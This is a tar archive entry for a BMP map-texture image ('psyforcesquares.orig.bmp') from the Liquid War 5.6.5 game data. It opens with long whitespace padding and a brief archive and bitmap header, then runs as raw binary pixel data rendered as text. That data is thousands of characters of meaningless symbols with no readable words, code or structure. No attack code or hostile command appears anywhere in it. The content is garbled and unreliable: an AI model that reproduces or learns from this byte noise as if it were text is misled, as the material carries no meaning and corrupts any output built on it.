                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              liquidwar-5.6.5/data/maptex/psyforcesquares.orig.bmp0000664000372000037200000146234613407756104022265 0ustar travistravisBMd6(\d K :SFv  j9?E:30 kQ6u@{ր2~|?nON;w*8G3g=QK2QDU?m4}1fٟzNL3QK߰E7>{?CrNP QW(B)" O6֠ʂdXY]S)xI2=PJQF~ЀH`K9K2fNK5NQSIG @]C\~+r:=iQЉAӋJ@-}BJF8uG=tZ׮4,sB%UNU;.@N!WV-ƕ̒y&~DC~srIQ}9 VW5zaZ/P?=]Df?VOE 7[]izG`\6imN|9Q{B({;7FPVdTQ}VkF2NJ94-/.'<1PMB1}6rDp?i _!Em$tFb sz2}jAP>BlQG]2P%W*B$BIYQeCbTI7jiOvJߏD~Gך3JߊPSNqT;pܰ3Ao3`(VI T7@ FNx ɋ0^*F5;Hqf0J3K%L;J=[GIVn8,44~0O=7b n"Q84IP3yWDekFxQI(ȍOǚX9|0" 45^KI,7HL:+*2/,a0ޕk="7 t{y;E3lJPKLHOYiMy?BT.59GjZIAҦ(ͩ)ɣ4yBӅ?zPɇDK)v91XF0{[RQ 6 AP :,^ {l[%` x cywCu@9Q(ZN%QEbGj)*O 0jyfa{z@u{3jpL޼Į8zOϮ32)Ҥ(+̏,\/X*?18-M*@4'Jx ɍ#1q#G8K?=S8;BIeŁ,fB|F>x24MZN<LNF M5M@A9WD/hG,NQ{S.VD[#jC=.Jt.4HbmL|G(tE٘CԺJڸ~I=G"ޣ']"_ZZ e56Q,F<_@yj"Um J5xfnNRhjlk5x=|#JA3YHd/z?>X!q-;YKPo;sGĨ3Pў2wG<[O{[@|$i%_aC = !),28P=M/[0_6RT'X fSD XT.-%6.`bdzHJIwJ;3,1$I?=C\z5xIEO:dPX=3;#`KqEuNΣ"/ބ=|8yBuQQ̐[ZzZ'zH1}_!V(Q.R+C^G4N*siu\l : edif 2>R=M\{=F7#wT3U;(c>L O,{9c]dNPxv$rPFx0yMtQכ6HGNNZ}[̨Qq_Z+]%X BY>/;4C9T$ـ{|'q U"vD F4Cch@,C:ZcP9{Ku@D5*gNV((G8`v6|DcIrhQsO+sQ{>rQӪ2C#~X<| ܒ)~b] UX%DCOzVQ~`fbAroMt5_~7\.R/eAM(OjTQ\US@{C0~JG/2ej0^g8Jdk(1[?BlGfoxF@^Jk&|KQbnoL^gXWvluQA[gL^le4`-^jQMNJ5v$K.?6<W!]g aV.H{)Qy0e^:ZyG?FOZ>V;9wdcH+WAQW\PIUOP~ebt?]czvf|`n?[i@Z1h3?St>mB'Kn0jmH4QX>v9P"DV NP[B{S[!](6i6d1^`G{MWPtsUp`Z?>^3L"F2VNNGY4dBSG\Dux\lvOEZJGpa0dWHHtHMs;rB1}$gia%CuHFaPMLdu"b{.dy'^(?0=FOAV?U&C@b;gIOWMQeQf{\|QqrXviTTq>Gjz+g%d5JVV nYbZ9dD3fl>\m6[S#?t89aw=HlO?\$eKO?}Q:.?n#SO'`#h c#4)@{;}@={![]!]bl$gwM<&#g+92GEoKbcO8|V8vHEbTgZYkqVYqE{6_j6Y'm$KlW-'U_JGbO%ijVKp,T1P!`/R\d,o(^*3 d1#jf.EGdrGVx0QR>YOQ~Qd~\^w\u|6euX6[5BX+k!X[1H_KhoRJvG>wEE+d)Jh(Qc"^t&Nz"h'QJ!0gZ.`wSP\n-POG{S=|c6PrlpOMG.Oy!D&>'T$\u#e|&[2Qc"RY'Qu+[XeIM3]eQK+T@p@ir.QUNRJHN6^dWrmp|GcDo1fE-h[n:Sg"\]>5ZK] t&X+g-JmP:nLN,b8W,,}4Ug&dk`{XWR1wk,vGYO9Rx3Hx5BTIKnTcZR<-U@dt`MbHmXfkEvn:PPEebO>^.MvN"J!E!Y~$iX.e.R2:#] Yj'UT,`s'bX"dQM-KCfwLfCQE]*Sy7N.S>h2_eNfiWZZKlNIwR?iJ:%N{BHcCDyD2vOBpF_4SSQFxCd7^eHeJl|:Y5E*gd:dd`0E}%hPp1)P)G,Y~\lQ"g"a9:!bT';o*UbFoLV>#j%{E>MpORrelYeT7x6hF5z-m!QN LCy$Zh"hk@I.\n(dk,^ca-&7(s2L4s`=QR~K`GSO'd~ d(2e:/%RCC994f`^8Kia[F&gleVZQC;dd`ToPe]tdI19C1{,PdQ,YngHf7]i6p-])Gd$J2:.]l,'?1gQ.DntFaHLmloXtNmna'~5m}@qv0*W]S& _s*<[3T~$RqPkX'gT^E3iGX)i"_d=RvYdZiOoVIvQ*w[Xx0YNcz4~K,dr|Eo7E,_:\4l}OD`ZZO1Tz\!BDXK[Blj9ahg_]NDiYox@Mgq^qOm8Qr9mf1qHbYOy,by'^o,:tCM(Kz)?q@UpNbz>^3p,h%Ya&Z]WZW%Z~;X8BtZLlY@voMHp[-uq^gcMou@fd$WyE_qVqS@<^6Vi:?z1[(J} Wc20%H&BvDZ3XU?mx=O@Z9DM&cU#ZWU~]cl7Fli0\|`6lCfg1s4L_d@H8k4lfFcde3>N+Ehc2^[+n->IEXFhr:MmO__C`U2#PSTTg8H|JS)C>Y1Ist_adKHhsLyZuS9EL2i^MSN9O`l` R2Hl!PtQta4ySCxGHdCmoY*)ZsD0Xa.wZ\y*Oq"V5VP.FnQG5eYli\n\nBIVuKT7icG`\~Y Qb`V.nQu2]nR]z0i;WD;.=cdk!Q;Tf#b\k$T67UEkYt|DGjIuEyR9Q}:hr3qF45~2PPccE9@s9O!Gz5D{6FԪ,Cc0XjLEs!dz0\,QGF$;4a9IiӬ ? x0iMN#hdQIGed9<]o(Ugv-v0k\[1EKWWPa8X%i(]q$LsZ|B)wZZ>cFBrcQ7gwMHhtH`FZ;`zAWMf@Jm>O;m9>Y7KPx5Dz.T2FsH]lSDlF`s@Q:dY,it#jZTB}/?>R8U%0dxv>nx wvqwdGD^[,X.HJYTefORE$]Fg].NVULp[IQ\3WP`<0\>ag0gT`QAM}_Q9rfEby13c8Iu&n5Y1_0W}2Sq"[{_z]i*PqAPs@hf6a9O%fnOIy>O`U7b`#4+Pe=Q{eTH`Tt;oXCE?BEtUU,]q6LZU6)FRPZW2[+[7J}-^nEZ8Zx1ln*f};Dt/EiH8i2LIN>7a3d9g[L@{HP-dM[jA]jGPe^Cy#Fu1TldvAp"]sRRYN9VU`>hd)v1RCYqb.h`FtV9UJ\Sg)T].RMX~9[$G9Rt_HB;KGqmHg?^?D0dlUt'K_ \8X;Zte\~AD4eR]pSZ9YPZPn%T;ZFgntQQT*[??"^ UW(hHjDVbK/mzDXQ_6SSeIY_<{Scc~'[-a9Shk{&MP so*k[2Z;`s.Z-a2L6F2T;T0k0Y:iE=INsAVeK]>Z_r@l_KohFYV]ZQrM]>B0i3>j3gkPWw@;fAQbaLe>LFB^~DQvB[qQWSv)~&`'f4ar?]R>HAwAliD_>WB?3q$q\ReZYQDG`=W~0hs(_|%f"e$\$?$nqs8SBO}B,yXCZ4e]0g[)`2`6R<g8j)d1R4RAh(ZeFbW<`_Ff*^_ hT%jvswszj)f([3W0Xm.a%ag?\[LTVNN\bNcq?`t;kl=`aKMKm`SZO`AUAOBJV7d/ht&br.]t'U,N!\#_]"b4L,F3U4YbqEB=Sv"W|>L{=M:^7g}:dh/Rs8JmUcbTqZQaNV=UHd6jaRY[NWW@s\Q3UkT=aNT'mZsMll4[ah)c5:;68~,9VbAXeFe]DG@vaCsf8tMEqM9qMahF~fGbMP\ITziIUZZx1g%[3PV%a{/liV@R^?,MZ.]=N"`mNQAfOv#2;2F4bF6fjdNZrHnG_HE`cCeXYQst=]QZNXN[GT?c/i0,,8!f,=!Agi.pxle0[$a2_o,f/Y,O2Oxd86=wLWMOMbcMHTFdH7m8XP_9y[LYnMpr>{g6xSNUr+7a$3n1\$3GGa2f(;)_o&ao,g5[ra5d-V3_avOY5d9_sDKLmXTIFHLSVmOc:gmDei(m8o<|BEjJX44[hNxB;bmx^l4`NgP"|Xv]/V(ghQ@vSGh4^7Cqc/t r p \|pbSU8UMGWn;\pQ9hu9Xw;|'P.Pm38/T)UyZ1g,Y)3I;Y,c4h8o^r)^>R2I;e@Z\\yp]vs%%S0nVFrv4H4P>],g^+jU[=\%+oRHchrZuaByBF/Ao3lZe7|87o\Gc\I|>bD2hCG<_w~`auNPr[Pm#_ZSTvFTC8`[i9qU@hZ/Y}BA_G_TIPNM@MpiDIAc:J_\xiVv8sZNhq+OV]WfIV9\:09N.b^ViV@|;ToKKfO%;k.O!X5[*clh=c3N^6`-b1I{0Ov?bR%ga)25O/H!WwaH`m0]r3UDN>R@?/ev:Pq'yjluu\oRQWQIQYZZHV&KNVe{!`b$U=;7%WQDgX/`:aQDT<]V`\sGkhKdQZk^zS`sz9s-m~=oHd-J`CXDOM0ac,eg0joNa\B8&j2ae-PJM8I-62kg\4hj,FQz:j{LpwMQyKjcHTyoki^wa;c3N?_MNVL`ENU[BRbF|,ga6`WcW USG OuZ:Z{2E/K3^.QIDNXvDcV]dh=eQmATfuln\x^BZHJPb+gUUZ:yl2|V/`/`0HwdC$1ODJZ\[xy[{`ULf2e_SO5icDnu\6{SlVq`< y9nR>]UKRFgkv.tmJ2N})c5h:b)8+`7;|MYbi?}8no9pvVODTpo>Dc`AbtJ^mMD~]spu{a[d2nLQ{UPr{4MBv`[IQbQga~38h?>cY2bxS{@^oPhIF[?}MFZ=lI`@L\xAlOPbZQcU^`UQQJ;aD\jWK}GNSRQ}'lT/{4gia+BP>DAi[M3jRU^PSvZZZ*{OOXvit_x]r@Uon+hs9bF[HJNf5JRHdIYg@a2J/]4Rw=i`2daTF|.f3`1lyBfx9pq9KyRP{7o9p6J?\Gbw[QpXSlZPWx[xfQlXl[KOFREWGKIV]SJ4j|)^Bi\,_Y:Z.b)ex,S|<;G8~M>CG@R;Mq-d/lQ}zLrkaqmKrcdvz8kC`nFbNWa_hf2(g0FN0oCOzvMVSH+Us%EkWLOu`jHFX5hz9bMJW[CdH_~P,R;gAbdjXp9VX:SN_D]NOB_pA~^;[9^Ob@T>ipPM,9b1dE4GxIRzS93mxYXh7eFIxAcROqXOZ6Q_tuhdAZvwVss[iuZAp|/8zvFnZAd4EQO[RbF61Sy,dv6H7kDL7WIAVBRn;VYd@]A[5J"zSY|aerbmo\tmcnjyBr\;WBf@YNpFQ_HM7bGpHWWP\nr^kxi_\SoT_tsXde__fUBd.WO_gNRGQQ{SPZ9POXGz\7GJDd\1]|=?5V5Ja[QdjWMh:UJNgFYmR_]9WQp`FickIPnhcjfaVLOm|._}0lOR&UNz`HRQX&w0A?^cRvmU|N,jWIak1q]?pl3I@cq3LXLfhrPNLRsX[gVmkZ[^JT~V]wK{[IY!cc@_MJZQSN~(u%m)OaM:RQTSk2[8?9^7j@Ca?fVEaakMbSa5}QnwsMR@Xef]ee^+`%c;cQj^Ie;j@k;r7\CgHPvBcBn;8r>Nq9R[5ciB_}=Xgh8sqGXOwpNe:ZwZvwA^L\^z^iuWadWkHQoVQkTNbKY@X1c%c{o'[YAPB_HS4F:KI4L6vZ:{WNxQOkKjbLqi^V]rAjvakUf9`5fAo~>onQ]JPQWQTTKneKiUOzUOTOSNW6yVug/wjBxmKnRF5V.W4QHL=\lBQlH]zV[bRL`ZP`T\N[d{Wkv[tdrWM[itRA[0T?]NuMNvSQWC`Gl,y0j$`ITmabPzDMi]?CYr5laXN*{\QW0+_+H_/O`G@hlig`J\oraRK_g[QhlNdy-WLt^DejIXMV*bEk#\NMZOOO@LlInNMn:nbYSuc>GnuYiZ,OS~bdkhGdghtrDT}XxkTMRk-s"[1h(dwCcCu@e]u\W\\H0AtHMwGkbCtpYQP|MRRZ[_rg`eUpjeX5_nQP.PjwISJYYHUTzX[y`Z`cTYRUgrPElNnEbAa>Z0_JfnWy\QX]QLMO[WNa[NicOx]IOEZBxp4.~z*a._8}HbGiOXDY:Okl;j|GkNQVFFUX2Hh`qe_[R;]kTd`]>gYi{bPquq+c%TQo,TA~b|[RJda:uwIc4_?XIJFpd@jAb>mKXw+,|WKhoJiaja)n29jm#fRQ}PQg2JpQOTLc7K;_F]ROfL7e n42'P,1QeUC9kndldCYF]eYclP5lfFV'n[PYYDNQZC]@i\FVXMoUQwJPaDg[ZTaP?E@u]PEZdNVy@arC^|l\jMPWr|Tkwmji^t`eY_HxnCo_fva9SBc#}x!U%c1}k7X?gXOOKjO[JuTL}e:VDhlLY4waHCYPtJYiFrnPHClVOjmrs\qYm`t0rhbphG}WPkp6U>`z/i$l8z\Hf%a&RPNC`8`Tv<|EZC@^@j}RGdVVp+nB`dmpVbPBKwumkkmX^6CC_P8[7LbW&_"[8v]Q\#exyh=c?Y@S`m0S$WrBWs@fsW`]SLXbmZ~eV9adHsk~tItZlgSeusE82g+P6gIONOPZHXZ=Qn@[sENN`=Z?XP|GYnFCYDcoDNkGazB`ILBk5NBE.R:ZGLKAMCKYc9^+b?{`HYWIy]>q^EpYC_EVJpVQJQf<`nDrNL{FEGWGKCU{EPuJNjd{`h]dFsWtq^gdOR[dMelK^hUQ|KQYQUMMIWQFJRJROUQ]>XTU\Yaw|9f&wSVwCTXQRYMJUNOper~sneVrqTkhnjen4NRCxi8O1|\DNPZMONd^Pm^PHO_@bGu0`!}*j1^5BX[PkVZTSXFAhC7uAjf\xgrp[hUZIK>ZuDY6_jZeg[``gu5LTMf6f$e~"lx:}AgA\2hL|4op'hDo>vzEM8Ma:?iixfWNoiSrijNwdniYgj]?th=nZei_cibIhPIq!_3`&\1[P}QQbOaQXI`M[PKK$DN~/W&e1tVKXTPk]Q_hJhqBnpGaPMdOjGT8_9OLKND[wRLt\^vz`jvljkoaZU^^[AUCYGQBRC^yHEQ`?pgBn\9rY=e9Z2`K6]GwFhC]9p:[BXFNCF1DZfmbmekjkYnk[s\D[bCVbYPb\Ic_0]`iHPjKQv^PwTKT>a4VC]LdLHK`Q\Q~DPuwGb;`SoTaYGPYLVrles`^a]kl}YqbnrSe_[R__UmpOlcNIcBK=[H}f._,lLu7r,ok0w6`O\SI~WZMOR/~_%vPCNT]vd{akckxlWu\pudoMYekV[T63{KK^fffM\JP`ZP^Bb2x9Y=[OsYKdNvkCbJQ`ELZ`(ChG3auV`MpTs^UXYQ[:KOF:VTIxfmig&BQVYt9jE|Dh]q.YhRc{q)@LfpL0L6` t D;Ug j\!s\K|ZOutAPNV\O~3x}1Zp7b@]qb*f cLiF[dqZrmfotgkdd\JUfP\R2W?1D1R|Tv,j3qnQH=CNZquEa3kUJ|LJx&s}?aGz{\QY:[>n.}u@PMcNcUPWImRzwSu[8_ZqlRWaqhl`wcgKp[rtTlhZrdTj]iNgg!u:aQNk}p-t1`X?UC\0c9zk6xyxtFs1ngRvwVaeffohvq[_qbXrkyt\M@G?|jNoyA]]i-gdEp[h+_No%!c*e_IhgLlZK\CX1\@QHVQNOe\UOONVmdQzj\w_wWvv`l\}fW|qYYKUFZCYBLGEFn-i3\/_9g2eZNYcQVhBRm@eZLyXMZI`8KAa\RRFdQzzVo`qdHr^Sy^OIKAJVOM^MYIP@RFfs^u8c<{_'kW:r]?w_8i@zSNq|AbMeNzWLlHtk7sCf3YF_S]p]uUt_rbpzXonckd_d^iNSlJUdYXegEihxcQwePlNQuQN[J\A_6T>Y;_2[APJYPJN_\g{]LUTy^Nza[yiSwZt_rrZotjgv``kfXSoRmfKpaOimOuk4s;ux2}i9p>~2wg2P#_EVFV8_@HPfWjo?u_Wwgf_ajPrQuT_ro_pzXpbd[k`WydUMQIdejpHNihdvD_?KQ~U&sByl:qq\OXL=Wwj5NjuOjpVhKv^QOAV5WPgJj2[(hRORm=m6xgAj&Q=wIWNFagbJKvYyRkVbjbmcJPcmW`VzeZEW`|7hsN@mccP[OjRD^x5TQ{.=rHNXOv+smUQ{o=^Id,fA]q9KTsrkZLd[x;)|arY\p_iM_jIq` Oa*v#HQMQ}T2~NG| i|a$q8\@kDZ4~k@@SQWx>McV|_uS>wX?Y8a=nPhS``}cagrXfYeG[iXK6i]mgSU>sSJaHIN^iZ3lLOpWMerIvPu\NdP}kLwu?N4]4}[No]~iRtPgrZoo[s_Tf]Vm^`nX]oO_[P_R^kQNfUHccrSMjLQsXQpHQPNRBOb[QQNyk@bmdYj^UmmceLqPhd]YPT\@aJSwVOONxOOAlo7Qy,f;snGXvc@IP\#psjP\TPeI_:rv:FPVWPvPbVtd_ihcSef^slUaYYmvUnyX6Ksd:QL;fja\^UxgMQw_DSQuVQp8T9sc[NQI} UZ[NQf7ZO}t:ULNNbKY5taubGQ31shhZ4|`_Tdj`9XwnjpoB|M:mm@:ix.jbhgjhQNW*qVMlnDb`Lf+m'o6s&XDW@n2b\Qg^QkUP~[3G{_?jwI>P<[Nq[q_e~v^{aNp]9rgE>H7C7ABF`ny"c"c*z+U0`^Pv_LZPZPRQTQHQNQxdpSk`Za9c6wa2v[9QAE@GB*L6XJW?Q0X.^&b&\VDOD^<^j]VV_YWqWmZ^sXax[mgglU`m[VeiYlV[mPk`cnNpsKq m|.y#k7`7Y+wLSQq^Q`dQYZOZQRPY8P9PN~zdWUi_Xp}ajs`_W^Qh[kbme]^^NtFr`cjdVm`kk`]?v[|PQU9c=}fO{X6wIN3qsq6ZJd(\H\7SJmdPRPaL`lXH:M9MUM?[5Lyg=8=VdC_Y_{El_krfIllKTBqu j?mx8`;UGOiPR$b(\NlUQb\PY>YDO2tPMg`ohIQyRveb|`NvcMa8|qPWfeMSejc`bDJckpfGddkc,zSL^0k,W-Xm7~F\a`bUK{%RQaXNbk@po;qSi{c<|aoPH~O]]OArZohh=2$KTwtEP^Me9tlTsIJPh.X9P_)[dPxs9wZmP5E:RG3qnP[je]YgYjtrOcGws``m{Wrb8ctltD}\Qco>N6u_Lg@QuXAnL^KRQk#hgQDPNbM}^c|gDDAWMjsc^cor\d.s__uM\iObaULTVAXkgibWLa@Z[a#l3S%O^IaQYDvl#{n!LMY$UQ`.yiHjgdgah64Yij=]mq`Lam\zo]vbCBZoJqkMmYck\}w6X:TQJHaZQ]PP?~NMh;UGu7sq#~^:KN~\#YIcC~cgo_m}`JHKb'_iPf_zqPqXcoZghwKff<l#u.ov3yfC}KQUNlK|[IogCSAU5S;MQVQ}[f|`\ilY5ei;]mgdkt]ZoY^SxPmyX]`LbZmmnhds@Kmf_EY;gVQX;k/]Pvk*yaAmyEe-YfCl^C]YEoMP^1mXQC6;0I4L2A?RKd9-~SdCHlj`XiGkbhoigeZ]fk^Ivu%eZ'e`"[GMTKl*LHjBVF|KJQ>yk:PYQe_e]fhV-U7ohVb8q[[OccXZkYwZZdMK[i+YOUZT{IQ)mEw*w +fr6:5L$Sb_4WNQky$U9^'M9[dd~lFBwea|ZgbWU@dzHul`oV%Zs"yDr&_r({p2XGc.|ZO!hSQ{!e;Z;53a3a0h-npbvdShlUtfCR^lq`mWQo:S0f7:bU^o-wWp[deQax6PNhd1]Nfb2q`Q{^=WQ]8_B\DUPj3V S~Uui>pt?BffH:5UWx_xmRYdmDJV6>}[VrX9]mck`V#yTQWQbJZ5UgFi]DYHW6Y=f-\9u[Qe$fqbohKymYS>C7{kDvaieeksmXC\hj^o^dZNVfk^bRyYzVA].ZCkpBXPPX,v^QZAa>PP+tq=YjLmf=HbAQfE}Q/]fw^irxU_\jB50A?9?5V>=IIKX}ADvXiEdn@nUPgKPPUHaPhYOxr;bQQ[P_ rXLwTPT>i~AbKT}WXN8S]t[elehdlmxLmd6yfWpXeeXdH@2;]0v\?^?`-yRQwJOjHl$k-J7>03&=2JFuv1v+n;fA]AzLQs,h|6o{9leJnhQkaQ^dQUVNZo8e^.jyCQdQVdZTl_Nk]IbhFamGgmMgmDYhTcn[XoZVel\lidfW@VDXM[PKPJP_QVQ]N[C`3]5x^9tT6tY5uu t/VlIYo_NbiLain]ls^mpemadmK\hSdmWXoSVgTWoMdqYx5{l;h?n>`<\Dp"c.h[+a>nUOia7oU7S=b;gyJ`bMVcg`ehbk^mgStaj]ToKm\JteepWok[HT]lN_kr`?JcPnXJ~9]Dx`>i dg-Z&z=f SQ\4PPh@nddiZt_ihhce[jWekaalUqategMwQvfTsYc5SgqbGW_psz~gGSt@{]QW)V#cMe;qfQQ\P\4]CjX@uv7TdPySktSxj:px[_]kqgZvkIiekxnbneIs`oLYn;U:\lV]p_v6\0d)f({bX6bM[(qN-cB6x'ykTd{t3uU9QIlj@{qdVtY[:QS_lV5vabXigKMg^SPs Kd"t#q5b6HbK[f1aYMML]Ec!R={M=TzYGYe@w8QddDk_[.\z`ci7I=}kv"uglTn=^rj[eSka['rzlW?WLNELM_JRD|NQ_@u+h+h7T@VC\?dxgyZrgD_\_F{[@A?`M^WcV`YRG*57:@8fZkoqVYAzZEQcGORQLOKG[#Y3kcMPd[Ld*V@Hv0_6hb81VL=W:fqg>whZeTh`MiVipLJYk<^lgd[hWcmvYXOIU2WZHvKQVUNlSNxr9b={lE^b g"M&\Czb2m\Ukecqm;V]_^s`ojh2`VX\`fWi@]WWhYVn5dp]\iianuROoZKWIvt6ak9N>Z2SI]6g]QfMQZAk<]PPiMHfw9ZKLkbdMtIGIaFWvBSrQcXhmDk`R?_mB_riTlIIa+U4U7^/V.tMOXPjj?_JbOu1|sV6W6ss;_$_IbsS`@7]DX[`FcVcfVigqhgVePaY_eTblSZf]xZ@r(m{'n%m|'x{'z!|SK]QwONSP[OPOQL{YF`_GPeYEjZ@cWB~YCQ='@(>*G.A/<0=09.:,W|&nSLZx-l|,IQpx*y0nrN@N@YBVEVGlCZ6_8c8Y3qS6tv#b}`t=apZG_\Klfgkh_V]`WcQYiKxhJUkRZlm\sfSn[^rrR@]]P\bQS|/gz)uz,t$d7R>dBTFc?\L]UOgTI^[IR^ReedqiVqf6ut@ukfSvGW{:aaN[vfYUjnaXBReV^rfkPN`R7lOQ}{e]QHPxPOxMPJPNQ}\Pl\@]_GhgBlf?a`ATJ:F/H0E0J7E5@2=06,h aVx0pOMs$$vl@qo@}u=lQoTNlWMa[QRQNWbB\v6di>N?U@V@v;V5W5[6tQ5sS4tzq#Y-slCjwS\\`Hc`hpQqcalhfi_fYflcfpoTkpj]ofal<`9vh6^r2b|3i8Tp:Vz6`w>{`QrU:|T:vUCoHQlNPcqJfIlcGvl7swKl|CZxS\6smN;ekaZmiheLZABaeiqd\kBkdN]l=u*c6bQ}o+]@PNiFQzPJp,jMP^%_KZ>ba^ToUeEPlOshOclgRkRojb[l]qgQjjicnK\epoiRinM`}9^?KPv}kPf~,QBWM|:Y4v#cvBV9i0cHhXj^\Sidnif'r`q[dKlfrgRgySrWhl?X|fWz_mbrCfmr,zu>i~,wQE}[:CVSKtsVhb0”3HSkz,aB=(ecYoq;qv>7+WnQ]|Y\lcqlFOnW>4e*o%QTrN|@YPa+i\Bw=np:{Xj,QCR9Z1^=zw;|g;g\9mXHhCkl:huRp~SY7hkGed]qjhbrW*G8NLQQ`PV\qU\rcTpoYWY$_nfv&PB~fEtOP]Ar'~x2}zChmERh%xl@xy@s<>FEcd_lhje_c^Pi]UemeKZdUiiW]ra[aq_^S>TBQE`Cvm%|{*!{fEybC}YQ]QWP\QLQPQmXQQ_cJjgJne>_b@kdIWH*9$7*<-:&H6B:=7<2U sw0zy1~*u|!~eG=y4vXQ|_QkH{cLtoObaIin=[tKT>T=h8j1a.h1X2\3^/k}6s|=vx3ne7piJao[liY[_Hn]Oqi]kSbnZqd]odXkpWpUFMQJQYQmk7np@lCZ@ltAr;gE[OhET=\.xp*]aifty\7tQ]wNOoe^eb0abOcUhvVceFX\qhlaLfcTd~k`]pgemp^Zo^4_aw}\j^cgY[i]UXPs9u|2z>A3h!0yO+`WQQiq?xu9|l@^=XJJQu__DqKGI~QAgWiv^gegcaewuH3`io{A]>Yq\KVvbFIKWQRQdSOj6dZpAOD[XNsp-#W]"ix*V6X%j>ugcWvUYyOnQqeTO\^Fki+rc_XlD9>3;4a}MmWs`gEx[Mh}5V)Kw4s}3U.uq/uOH`KNP\3sd/dTL~N?cXXekc\gtbMwx@jlS>);AdxXS[c[USfX1ho+^pwXbXKu$qx8_IQ^p=cs0pe;p[Izk'eFRM^5J?PHzU;fiigfpdMp_aH/DJ]UPOniPwccwO:n_GcdneLZYrE`sbBxTPyTMSBoi<_@U0T?VPU3cITC~RQP7TD[VDUdh?Q`}IOwMbzSSkZb_Lmhih]l]HV{7YzCR`oS`r\Zq\4UMf%`nlLGSKVLSAn7g2YrCKg:lW1hY6e5U;awSLbg\nh[]j`V_jhir\fo`feVig[nkW`pZhr\nQQQQOPPHN@j?w*l=aIOM`QNQPQLKPIaOOTeiQakH^hBdgG{hDw]='>,>0B6<2?8>7>9GAr$p$r*{n6ULu?y~,oBbQ|SQoAuYKvgIi\Gqk;]i@e{UfoSjsNbe_bodRcdCvGQjhN^lLZm;c]*L8j^M\rOZszSOUMTEP>T9e7sS:hY=ra=wW8q.V0[9L7T4W0qEyyXs|;mhOtuPpjIj^Oqobr]drXjjX^a\qRahT`jV]rSQRPNJQ8R1bAq/[>d:m-q7xss%d{k3qm)rRvuLd]gpeQhT4gi^_.khsh]m]d)g`SG_djS;SK\Glp8cp9MLZA^7|RKry2{YLqKPcOa'n*U@vQPdTNX>GditdLi^`uuWj[jg_GNohuhCr{OWy5.aprTi=d^lsc4l&n,UADqXgm]dsiPdsTTpUtn?tcQgVswmh_6iOORGP@}dBj.S3OEPPh5ZH`?]OZ[OZPYKy(nx)SKwu/u)s}(~l:VP\MpD{v6z_Cv;nn6&o5fY_n^juZ]zN``f[ogRZiGh`:HBo[L[mJeoOZqSVrZkp]Krm7nv,lv-l{+iw+hf9dLQfTQnbOqRORBbDZ9o7vh2srJiw9ouNe`b]Zllq[rXgrc`p[moXlka_egaW_W]_V[v\ZHT?W(W)Z&W%S9Z8j3aYUaW>aC^fkiYmy\d\_YK\m=fkTbbnjJo[m_Xm<^ICdlgCJG@u*nk6wk3KDY7xOMLP~o{g<}ZQV3e.mBZ.eOu#wYwZaxfEdWjphRYpjObWH`j\yPVxLkgV=_ovcRmUsDnfi@wOPM eeLT9Y*S6nTM_:fTPr[Cr)zX3fQdb@IQ>tWy]PCZh-bl^}cQgUQrbJD_xJsa8NW/GjicR`jZ.V8_VNz3qUP])e'~}-g`IVmMQi7c!sA(dFT;ctUx^XkVj9UASR{OugTicWN`\`BSFzLRvp[PQcN@YRQNfs>.f`sTpd|RgCQMFR[ME;|]]H_q[fWMYYWqs8opYVIyPfwEy/x{:\m@xTF~jMErn7kGTI}WPfA\,N%V^/Z_jrcT8sZe^fdE[aqaUNikXfli^m\=xi_cYdmtE_tTv3PQo]Q~JQN@lu#jxscImHp_FQP^@QN]OP}W@RNfCpPsLS4HQ,Eq_Jvbcqieglaf~IvbSZTlkNmdXfldKVPs&dT pk7RFxb?nGRQ~z~]QOQN>^~.f'zYcwer:tc=dqNL'[g:Zlv^nlfj1u`]xZwfQKSjbRmpWfgHcQP\DPAsg9h/R3TObP\;i:jrAfMZKT,R@|WopomHy]AycXfdpU^teJupOmr^m`lu^jt^YJZiJWmQQnlCTASPJQ^:w)~r*v(vX>sU;a4Y0N;M=}W;_fbiaYf^Y^\me``XcPZlRdoQfm^Yoogdw[XuUVtX]rRi^JPMUQJQPMa@^3l;cPTQX?i+_2N=bN@WU?`^]Sl_Ri`Kh]Nn\Gu

